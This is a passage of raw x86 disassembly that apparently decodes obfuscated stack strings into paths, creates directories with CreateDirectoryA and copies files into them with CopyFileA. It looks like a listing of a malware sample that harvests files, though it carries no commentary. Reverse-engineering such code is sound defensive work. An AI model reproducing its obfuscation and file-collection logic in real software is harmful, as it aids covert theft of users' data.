lea ecx, [ebp - 0x620]
call fcn.00402800
push eax
lea ecx, [ebp - 0x9a0]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x9a0]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0x9a0]
call fcn.004026c0
lea ecx, [ebp - 0x620]
mov byte [ebp - 4], 0x4a
call fcn.004026c0
movaps xmm0, xmmword [0x526e50]
lea ecx, [ebp - 0x43d]
movups xmmword [ebp - 0x43d], xmm0
mov word [ebp - 0x42d], 0xab
mov byte [ebp - 0x42b], 1
call fcn.0040ab70
push eax
lea ecx, [ebp - 0xb08]
call fcn.00402760
push eax
lea edx, [ebp - 0xd30]
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x7c0]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0xb08]
mov byte [ebp - 4], 0x50
call fcn.004026c0
sub esp, 0x18
lea eax, [ebp - 0x7c0]
mov ecx, esp
push eax
call fcn.00466110
call fcn.0040bf60
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x18
test al, al
je 0x412e9c
lea ecx, [ebp - 0xb1]
mov dword [ebp - 0xb1], 0xc8d2f8e5
mov dword [ebp - 0xad], 0xcddbd5
mov byte [ebp - 0xa9], 1
call fcn.0040b910
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x518]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x518]
mov byte [ebp - 4], 0x51
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x412de1
push 0
lea ecx, [ebp - 0x518]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x412e8d
lea ecx, [ebp - 0x192]
mov dword [ebp - 0x192], 0xc8d2d8e5
mov dword [ebp - 0x18e], 0xeecddbd5
mov dword [ebp - 0x18a], 0x100a0a5
call fcn.0040f350
push eax
lea edx, [ebp - 0x518]
lea ecx, [ebp - 0xb20]
call fcn.00469da0
add esp, 4
mov ecx, eax
call fcn.00402800
lea ecx, [ebp - 0x7c0]
mov esi, eax
call fcn.00402800
push 0
push esi
push eax
call ebx
lea ecx, [ebp - 0xb20]
mov esi, eax
call fcn.004026c0
test esi, esi
je 0x412e4f
mov byte [edi], 1
jmp 0x412e87
lea ecx, [ebp - 0x518]
call fcn.00402800
push eax
lea ecx, [ebp - 0x9b8]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x9b8]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0x9b8]
call fcn.004026c0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x518]
mov byte [ebp - 4], 0x50
call fcn.004026c0
movaps xmm0, xmmword [0x526c20]
lea ecx, [ebp - 0x342]
movups xmmword [ebp - 0x342], xmm0
mov dword [ebp - 0x332], 0xb8aea6a5
mov word [ebp - 0x32e], 0xbe
mov byte [ebp - 0x32c], 1
call fcn.0040a740
push eax
lea ecx, [ebp - 0xb38]
call fcn.00402760
push eax
lea edx, [ebp - 0xd30]
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x7a8]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0xb38]
mov byte [ebp - 4], 0x55
call fcn.004026c0
lea ecx, [ebp - 0x7a8]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
je 0x413022
lea ecx, [ebp - 0x208]
mov dword [ebp - 0x208], 0xd9d7ffe5
mov dword [ebp - 0x204], 0xafcdcade
mov dword [ebp - 0x200], 0xb7a281af
mov word [ebp - 0x1fc], 0xad
mov byte [ebp - 0x1fa], 1
call fcn.0040a710
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x530]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x530]
mov byte [ebp - 4], 0x56
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x412f96
push 0
lea ecx, [ebp - 0x530]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x413013
sub esp, 0x18
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x530]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x57
lea eax, [ebp - 0x7a8]
mov ecx, esp
push eax
call fcn.00466110
mov cl, byte [ebp - 0x15]
mov byte [ebp - 4], 0x56
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x412fdb
mov byte [edi], 1
jmp 0x413013
lea ecx, [ebp - 0x530]
call fcn.00402800
push eax
lea ecx, [ebp - 0x9d0]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x9d0]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0x9d0]
call fcn.004026c0
lea ecx, [ebp - 0x530]
mov byte [ebp - 4], 0x55
call fcn.004026c0
movaps xmm0, xmmword [0x526ab0]
lea ecx, [ebp - 0x2cc]
movups xmmword [ebp - 0x2cc], xmm0
mov dword [ebp - 0x2bc], 0xa6e5afbb
mov dword [ebp - 0x2b8], 0xa1a1be
mov byte [ebp - 0x2b4], 1
call fcn.00462f10
push dword [ebp - 0x10]
lea ecx, [ebp - 0x718]
call fcn.00402880
lea ecx, [ebp - 0x2cc]
mov byte [ebp - 4], 0x59
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413071
sub ecx, edx
lea eax, [ebp - 0x2cc]
push ecx
push eax
lea ecx, [ebp - 0x718]
call fcn.004028a0
lea eax, [ebp - 0x718]
mov byte [ebp - 4], 0x5a
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x790]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0x718]
mov byte [ebp - 4], 0x5c
call fcn.004026c0
sub esp, 0x18
lea eax, [ebp - 0x790]
mov ecx, esp
push eax
call fcn.00466110
call fcn.0040bf60
add esp, 0x18
test al, al
je 0x4131fa
lea ecx, [ebp - 0x136]
mov dword [ebp - 0x136], 0xd2d2f8e5
mov dword [ebp - 0x132], 0xa5dcd0dc
mov word [ebp - 0x12e], 0x100
call fcn.0040f320
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x548]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x548]
mov byte [ebp - 4], 0x5d
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x413148
push 0
lea ecx, [ebp - 0x548]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x4131eb
movaps xmm0, xmmword [0x525dd0]
lea ecx, [ebp - 0x69d]
movups xmmword [ebp - 0x69d], xmm0
mov byte [ebp - 0x68d], 1
call fcn.0040f2f0
push eax
lea edx, [ebp - 0x548]
lea ecx, [ebp - 0xb50]
call fcn.00469da0
add esp, 4
mov ecx, eax
call fcn.00402800
lea ecx, [ebp - 0x790]
mov esi, eax
call fcn.00402800
push 0
push esi
push eax
call ebx
lea ecx, [ebp - 0xb50]
mov esi, eax
call fcn.004026c0
test esi, esi
je 0x4131ad
mov byte [edi], 1
jmp 0x4131e5
lea ecx, [ebp - 0x548]
call fcn.00402800
push eax
lea ecx, [ebp - 0x9e8]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x5e
lea ecx, [ebp - 0x9e8]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0x9e8]
call fcn.004026c0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x548]
mov byte [ebp - 4], 0x5c
call fcn.004026c0
movaps xmm0, xmmword [0x527760]
lea ecx, [ebp - 0x417]
movups xmmword [ebp - 0x417], xmm0
mov word [ebp - 0x407], 0xba
mov byte [ebp - 0x405], 1
call fcn.0040ab70
push eax
lea ecx, [ebp - 0xb68]
call fcn.00402760
push eax
lea edx, [ebp - 0xd30]
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x778]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0xb68]
mov byte [ebp - 4], 0x61
call fcn.004026c0
lea ecx, [ebp - 0x778]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
je 0x41336c
lea ecx, [ebp - 0x14c]
mov dword [ebp - 0x14c], 0xd4cfffe5
mov dword [ebp - 0x148], 0xb5daccd8
mov word [ebp - 0x144], 0xac
mov byte [ebp - 0x142], 1
call fcn.0040a5a0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x560]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x560]
mov byte [ebp - 4], 0x62
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x4132e0
push 0
lea ecx, [ebp - 0x560]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x41335d
sub esp, 0x18
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x560]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x63
lea eax, [ebp - 0x778]
mov ecx, esp
push eax
call fcn.00466110
mov cl, byte [ebp - 0x15]
mov byte [ebp - 4], 0x62
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x413325
mov byte [edi], 1
jmp 0x41335d
lea ecx, [ebp - 0x560]
call fcn.00402800
push eax
lea ecx, [ebp - 0xa00]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0xa00]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0xa00]
call fcn.004026c0
lea ecx, [ebp - 0x560]
mov byte [ebp - 4], 0x61
call fcn.004026c0
lea ecx, [ebp - 0x25]
mov dword [ebp - 0x25], 0xddcefde5
mov dword [ebp - 0x21], 0xdedacf
mov byte [ebp - 0x1d], 1
call fcn.00463280
push dword [ebp - 0x10]
lea ecx, [ebp - 0x730]
call fcn.00402880
lea ecx, [ebp - 0x25]
mov byte [ebp - 4], 0x65
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4133a0
sub ecx, edx
lea eax, [ebp - 0x25]
push ecx
push eax
lea ecx, [ebp - 0x730]
call fcn.004028a0
lea eax, [ebp - 0x730]
mov byte [ebp - 4], 0x66
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x374]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0x730]
mov byte [ebp - 4], 0x68
call fcn.004026c0
lea ecx, [ebp - 0x374]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
je 0x413947
lea ecx, [ebp - 0xba]
mov dword [ebp - 0xba], 0xddcefde5
mov dword [ebp - 0xb6], 0xdedacf
mov byte [ebp - 0xb2], 1
call fcn.0040b910
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x404]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x404]
mov byte [ebp - 4], 0x69
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x41346b
push 0
lea ecx, [ebp - 0x404]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x413938
lea ecx, [ebp - 0x19e]
mov dword [ebp - 0x19e], 0xd8d5f3e5
mov dword [ebp - 0x19a], 0xa4dac6d8
mov dword [ebp - 0x196], 0x1008085
call fcn.0040f350
push eax
lea edx, [ebp - 0x374]
lea ecx, [ebp - 0xb80]
call fcn.00469da0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x6a
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
lea ecx, [ebp - 0xb80]
mov byte [ebp - 4], 0x69
mov bl, al
call fcn.004026c0
test bl, bl
je 0x413601
lea ecx, [ebp - 0x1aa]
mov dword [ebp - 0x1aa], 0xd8d5f3e5
mov dword [ebp - 0x1a6], 0xa4dac6d8
mov dword [ebp - 0x1a2], 0x1008085
call fcn.0040f350
push eax
lea edx, [ebp - 0x404]
lea ecx, [ebp - 0x578]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x578]
mov byte [ebp - 4], 0x6b
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x413544
push 0
lea ecx, [ebp - 0x578]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x4135f2
sub esp, 0x18
lea eax, [ebp - 0x578]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x1b6]
mov dword [ebp - 0x1b6], 0xd8d5f3e5
mov dword [ebp - 0x1b2], 0xa4dac6d8
mov esi, esp
mov dword [ebp - 0x1ae], 0x1008085
call fcn.0040f350
push eax
lea edx, [ebp - 0x374]
mov ecx, esi
call fcn.00469da0
add esp, 4
mov byte [ebp - 4], 0x6b
mov cl, bl
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x4135b4
mov byte [edi], 1
jmp 0x4135ec
lea ecx, [ebp - 0x578]
call fcn.00402800
push eax
lea ecx, [ebp - 0xa18]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0xa18]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0xa18]
call fcn.004026c0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x578]
mov byte [ebp - 4], 0x69
call fcn.004026c0
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x248], 0xdfd4f6e5
mov dword [ebp - 0x244], 0x939fd2dc
mov dword [ebp - 0x240], 0xa5b1adb5
mov dword [ebp - 0x23c], 0x100a3a2
call fcn.0040f4a0
push eax
lea edx, [ebp - 0x374]
lea ecx, [ebp - 0xb98]
call fcn.00469da0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x6e
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
lea ecx, [ebp - 0xb98]
mov byte [ebp - 4], 0x69
mov bl, al
call fcn.004026c0
test bl, bl
je 0x4137b5
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x258], 0xdfd4f6e5
mov dword [ebp - 0x254], 0x939fd2dc
mov dword [ebp - 0x250], 0xa5b1adb5
mov dword [ebp - 0x24c], 0x100a3a2
call fcn.0040f4a0
push eax
lea edx, [ebp - 0x404]
lea ecx, [ebp - 0x590]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x590]
mov byte [ebp - 4], 0x6f
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x4136ee
push 0
lea ecx, [ebp - 0x590]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x4137a6
sub esp, 0x18
lea eax, [ebp - 0x590]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00466110
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0x268]
sub esp, 0x18
mov dword [ebp - 0x268], 0xdfd4f6e5
mov dword [ebp - 0x264], 0x939fd2dc
mov esi, esp
mov dword [ebp - 0x260], 0xa5b1adb5
mov dword [ebp - 0x25c], 0x100a3a2
call fcn.0040f4a0
push eax
lea edx, [ebp - 0x374]
mov ecx, esi
call fcn.00469da0
add esp, 4
mov byte [ebp - 4], 0x6f
mov cl, bl
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x413768
mov byte [edi], 1
jmp 0x4137a0
lea ecx, [ebp - 0x590]
call fcn.00402800
push eax
lea ecx, [ebp - 0xa30]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0xa30]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0xa30]
call fcn.004026c0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x590]
mov byte [ebp - 4], 0x69
call fcn.004026c0
movaps xmm0, xmmword [0x526e90]
lea ecx, [ebp - 0x632]
movups xmmword [ebp - 0x632], xmm0
mov word [ebp - 0x622], 0x100
call fcn.0040f2c0
push eax
lea edx, [ebp - 0x374]
lea ecx, [ebp - 0xbb0]
call fcn.00469da0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x72
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
lea ecx, [ebp - 0xbb0]
mov byte [ebp - 4], 0x69
mov bl, al
call fcn.004026c0
test bl, bl
je 0x413932
movaps xmm0, xmmword [0x526e90]
lea ecx, [ebp - 0x644]
movups xmmword [ebp - 0x644], xmm0
mov word [ebp - 0x634], 0x100
call fcn.0040f2c0
push eax
lea edx, [ebp - 0x404]
lea ecx, [ebp - 0x5a8]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 4], 0x73
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x413880
push 0
lea ecx, [ebp - 0x5a8]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x413927
sub esp, 0x18
lea eax, [ebp - 0x5a8]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00466110
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x656]
movaps xmm0, xmmword [0x526e90]
sub esp, 0x18
movups xmmword [ebp - 0x656], xmm0
mov word [ebp - 0x646], 0x100
mov esi, esp
call fcn.0040f2c0
push eax
lea edx, [ebp - 0x374]
mov ecx, esi
call fcn.00469da0
add esp, 4
mov byte [ebp - 4], 0x73
mov cl, bl
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x4138e9
mov byte [edi], 1
jmp 0x413921
lea ecx, [ebp - 0x5a8]
call fcn.00402800
push eax
lea ecx, [ebp - 0xa48]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0xa48]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0xa48]
call fcn.004026c0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x5a8]
call fcn.004026c0
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x404]
mov byte [ebp - 4], 0x68
call fcn.004026c0
movaps xmm0, xmmword [0x5266f0]
lea ecx, [ebp - 0x2b3]
movups xmmword [ebp - 0x2b3], xmm0
mov dword [ebp - 0x2a3], 0xa9aca5ad
mov dword [ebp - 0x29f], 0xbcaeb9e3
mov dword [ebp - 0x29b], 0xa7b7bd
mov byte [ebp - 0x297], 1
call fcn.00462f40
push dword [ebp - 0x10]
lea ecx, [ebp - 0x748]
call fcn.00402880
lea ecx, [ebp - 0x2b3]
mov byte [ebp - 4], 0x76
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4139a0
sub ecx, edx
lea eax, [ebp - 0x2b3]
push ecx
push eax
lea ecx, [ebp - 0x748]
call fcn.004028a0
lea eax, [ebp - 0x748]
mov byte [ebp - 4], 0x77
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x760]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0x748]
mov byte [ebp - 4], 0x79
call fcn.004026c0
sub esp, 0x18
lea eax, [ebp - 0x760]
mov ecx, esp
push eax
call fcn.00466110
call fcn.0040bf60
add esp, 0x18
test al, al
je 0x413b2d
lea ecx, [ebp - 0x1c2]
mov dword [ebp - 0x1c2], 0xd0cef7e5
mov dword [ebp - 0x1be], 0xaffbd7c9
mov dword [ebp - 0x1ba], 0x100a7a6
call fcn.0040f350
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5c0]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0x7a
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x413a78
push 0
lea ecx, [ebp - 0x5c0]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x413b1e
movaps xmm0, xmmword [0x526f70]
lea ecx, [ebp - 0x42a]
movups xmmword [ebp - 0x42a], xmm0
mov word [ebp - 0x41a], 0xbd
mov byte [ebp - 0x418], 1
call fcn.0040ab70
push eax
lea edx, [ebp - 0x5c0]
lea ecx, [ebp - 0xbc8]
call fcn.00469da0
add esp, 4
mov ecx, eax
call fcn.00402800
lea ecx, [ebp - 0x760]
mov esi, eax
call fcn.00402800
push 0
push esi
push eax
call ebx
lea ecx, [ebp - 0xbc8]
mov esi, eax
call fcn.004026c0
test esi, esi
je 0x413ae6
mov byte [edi], 1
jmp 0x413b1e
lea ecx, [ebp - 0x5c0]
call fcn.00402800
push eax
lea ecx, [ebp - 0xa60]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x7b
lea ecx, [ebp - 0xa60]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0xa60]
call fcn.004026c0
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0x79
call fcn.004026c0
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x7c
lea ecx, [ebp - 0xc3]
mov dword [ebp - 0xc3], 0xdfcfd3fb
mov dword [ebp - 0xbf], 0xd1d7d2
mov esi, esp
mov byte [ebp - 0xbb], 1
call fcn.0040b910
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x7d
lea ecx, [ebp - 0xfa]
mov dword [ebp - 0xfa], 0xd9dcd5fd
mov dword [ebp - 0xf6], 0xaed6d1de
mov esi, esp
mov word [ebp - 0xf2], 0x100
call fcn.0040f320
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x104]
mov dword [ebp - 0x104], 0xd2d4d4f8
mov dword [ebp - 0x100], 0xaed6d1de
mov esi, esp
mov word [ebp - 0xfc], 0x100
call fcn.0040f320
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x7f
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0xcc], 0xffeaf8fb
mov dword [ebp - 0xc8], 0xd1d7d2
mov esi, esp
mov byte [ebp - 0xc4], 1
call fcn.0040b910
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x80
lea ecx, [ebp - 0x10e]
mov dword [ebp - 0x10e], 0xd4c8dbfd
mov dword [ebp - 0x10a], 0xa5cdd1fe
mov esi, esp
mov word [ebp - 0x106], 0x100
call fcn.0040f320
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x81
lea ecx, [ebp - 0x1ce]
mov dword [ebp - 0x1ce], 0xced4d6ff
mov dword [ebp - 0x1ca], 0xafdcd0d4
mov esi, esp
mov dword [ebp - 0x1c6], 0x100aca8
call fcn.0040f350
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x75]
mov dword [ebp - 0x75], 0xd2dac8ff
mov dword [ebp - 0x71], 0x100d1d6
mov esi, esp
call fcn.0040dcf0
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x83
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x118], 0xd5dec8ff
mov dword [ebp - 0x114], 0xaed6d1de
mov esi, esp
mov word [ebp - 0x110], 0x100
call fcn.0040f320
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0x278]
sub esp, 0x18
mov dword [ebp - 0x278], 0xd8d7d5fe
mov dword [ebp - 0x274], 0xaed6d1fe
mov esi, esp
mov dword [ebp - 0x270], 0x8884eae1
mov dword [ebp - 0x26c], 0x100ef81
call fcn.0040f4a0
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0x8d]
mov dword [ebp - 0x8d], 0xd3f8f5f0
mov dword [ebp - 0x89], 0x100d0d4
mov esi, esp
call fcn.0040dcf0
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x1ea]
sub esp, 0x18
mov dword [ebp - 0x1ea], 0xd5ddd4f0
mov dword [ebp - 0x1e6], 0xa5cbd7d3
mov esi, esp
mov dword [ebp - 0x1e2], 0xaaaaada2
mov word [ebp - 0x1de], 0x100
call fcn.0040f380
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0x87
sub esp, 0x18
mov dword [ebp - 0x7d], 0xd3d8c2f0
mov esi, esp
mov dword [ebp - 0x79], 0x100d0d4
lea ecx, [ebp - 0x7d]
call fcn.0040dcf0
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x66]
mov dword [ebp - 0x66], 0xdddcdff4
mov dword [ebp - 0x62], 0xaed6d1de
mov word [ebp - 0x5e], 0x100
call fcn.00463160
sub esp, 0x18
lea eax, [ebp - 0x66]
mov ecx, esp
push eax
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x89
lea ecx, [ebp - 0xd5]
mov dword [ebp - 0xd5], 0xdfd5d3f4
mov dword [ebp - 0xd1], 0xd1d7d2
mov esi, esp
mov byte [ebp - 0xcd], 1
call fcn.0040b910
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x122]
mov dword [ebp - 0x122], 0xd9d6dbf7
mov dword [ebp - 0x11e], 0xaed6d1de
mov esi, esp
mov word [ebp - 0x11a], 0x100
call fcn.0040f320
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0x8b
mov dword [ebp - 0x157], 0xd1d2c8e9
mov dword [ebp - 0x153], 0xa9d0ddd8
sub esp, 0x18
mov word [ebp - 0x14f], 0xaf
lea ecx, [ebp - 0x157]
mov byte [ebp - 0x14d], 1
mov esi, esp
call fcn.0040a5a0
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0x162]
sub esp, 0x18
mov dword [ebp - 0x162], 0xcec9dfed
mov dword [ebp - 0x15e], 0xa9d0dddc
mov esi, esp
mov word [ebp - 0x15a], 0xaf
mov byte [ebp - 0x158], 1
call fcn.0040a5a0
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0x85]
